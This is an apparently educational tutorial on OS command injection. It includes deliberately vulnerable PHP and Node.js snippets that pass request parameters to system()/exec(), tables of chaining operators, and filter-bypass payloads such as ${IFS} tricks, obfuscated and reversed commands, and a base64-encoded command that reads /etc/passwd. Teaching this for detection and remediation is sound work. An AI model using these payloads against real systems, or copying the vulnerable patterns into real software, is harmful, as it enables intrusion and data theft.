Injection vulnerabilities are among the top risks identified by OWASP, owing to their high impact and prevalence. Command injection occurs when user-controlled input is misinterpreted as part of an OS command or code executed on the back-end, allowing an attacker to alter the intended behavior of the application.
Injection Type | Description |
---|---|
OS Command Injection | Occurs when user input is directly used as part of an OS command. |
Code Injection | Occurs when user input is evaluated as code by the application. |
SQL Injection | Occurs when user input is inserted into an SQL query without proper sanitization. |
Cross-Site Scripting (XSS) | Occurs when user input is rendered in a web page without proper encoding, enabling script execution. |
When user input is incorporated—directly or indirectly—into a system command, the application may execute unintended commands. Various programming languages offer functions to run OS commands, and if these functions do not adequately sanitize input, they become a prime target for exploitation.
<?php
if (isset($_GET['filename'])) {
system("touch /tmp/" . $_GET['filename'] . ".pdf");
}
?>
app.get("/createfile", function(req, res){
child_process.exec(`touch /tmp/${req.query.filename}.txt`);
});
Detecting OS command injection vulnerabilities often involves appending various payloads to user-supplied input and observing the output. Look for unexpected results or the output of system commands (e.g., the result of whoami
). This helps confirm that the application is executing commands based on user input.
Different injection operators and techniques can be used to separate or chain commands. Below is a table summarizing common methods:
Injection Operator | Injection Character | URL-Encoded Character | Executed Command |
---|---|---|---|
Semicolon | ; | %3b | Both |
New Line | \n | %0a | Both |
Background | & | %26 | Both (second output generally shown first) |
Pipe | | | %7c | Both (only second output is shown) |
AND | && | %26%26 | Both (only if first succeeds) |
OR | || | %7c%7c | Second (only if first fails) |
Sub-Shell | `` (backticks) | %60%60 | Both (Linux-only) |
Sub-Shell | $() | %24%28%29 | Both (Linux-only) |
Tip: Bypass front-end restrictions by using a proxy (e.g., BurpSuite) to modify or URL-encode POST requests.
Even if developers attempt to block certain characters or commands via blacklists or WAFs, bypass techniques may still succeed:
;
)whoami
)If these characters or commands are blacklisted, the application might detect or block the payload. To bypass such filters, attackers experiment with alternative representations.
${IFS}
(Internal Field Separator in Linux).127.0.0.1%0a${IFS}
echo ${PATH:0:1}
might return /
echo ${LS_COLORS:10:1}
might return ;
echo %HOMEPATH:~6,-11%
might return \
tr
to shift a character:
echo $(tr '!-}' '"-~' <<<[)
This method prints the desired character by adjusting the input.
w'h'o'am'I
who$@ami
w\ho\am\i
who^ami
Obfuscate commands to avoid detection:
wHoaMi
(convert case with tr
, e.g., $(tr "[A-Z]" "[a-z]" <<< "WhOaMi")
)echo 'whoami' | rev
# Execute reversed: $(rev <<< 'imaohw')
"whoami"[-1..-20] -join ''
iex "$('imaohw'[-1..-20] -join '')"
bash <<< $(base64 -d <<< Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))
iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"
By understanding these techniques, security professionals can both identify and remediate command injection vulnerabilities, ensuring that user input is properly sanitized before being used in system-level commands.